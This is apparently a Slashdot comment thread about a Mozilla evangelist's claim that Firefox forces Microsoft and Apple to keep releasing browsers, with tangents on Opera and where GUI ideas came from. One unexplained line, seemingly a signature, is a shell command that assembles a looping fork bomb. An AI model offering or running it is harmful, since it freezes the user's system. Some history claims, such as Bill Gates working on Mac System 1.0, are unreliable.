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Firefox's Effect On Other Browsers
An anonymous reader points out an interview with Mozilla's "evangelist," Christopher Blizzard, regarding the future of Firefox and how it affects other browsers. It's an Austrian site, so forgive the comma abuse. From derStandard:
"It's sort of interesting though, part of our strategy is to make sure, that we continue making change and the indirect effect of this is that Microsoft continues to have to do releases, because if we get so far ahead that we're able to drive the platform they are not able to keep up and keep their users. I mean, we have this joke which says 'Internet Explorer 7 is the best release we ever did,' because they would not have done it, if we would have not built Firefox. And the same is true for Apple, they are doing a lot to keep up with us. Safari 3.1 is a good example, as far as we see it, the only reason they did this release was that Firefox 3 would come out and have Javascript speed which would be twice as fast as theirs, cause that's how it was before. So by pushing other people to make releases we can go on our mission to make sure the web stays healthy."
If everything you use renders ok in IE, why not just use IE? Especially as it now has tabs, which was the main feature where Firefox was beating it.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I was wondering when the Opera trolls would show up....
As with most things in computing, it's impossible to really say who came up with which idea. Take OS/X's core UI. Looks an awful lot like XFCE, to the point that a previous girlfriend thought that my XFCE-based desktop *was* OS/X until she looked closer. But then... they were both stealing some core elements from the CDE, which was originally developped by a coalition of Unix vendors including Sun, HP, and IBM. The thing is... elements of CDE were outright stolen from Microsoft Windows, which arguably was stolen from... MacOS. (I say "arguably", because none other than Bill Gates himself was part of the original development of System 1.0, back in 1982.) The thing being, of course, that they were both stealing from Xerox and the PARC, which in turn was stealing from IBM.
It's convoluted. There's not really *any* way to say who came up with which idea first. Opera is certainly a good product. I use their browser in place of Symbian on my cell phone. But at the same time, since it's so difficult to really pin down who came up with which innovations first, focus instead on who has the best product now. Besides... I seem to recall tabbed browsing addons for IE before Opera was even on the radar, for example... and tabbed browsing of things like filesystems and word processing documents is something that's been in computing since before there even was a WWW. So no. The folks at Opera didn't come up with the idea.
If you believe everything you read, you'd better not read. - Japanese proverb
Hopefully not the constant crashings that Opera has.
Why the buggery fuck can't user config files go in ~/.configuration/ and system files in /configuration/ ?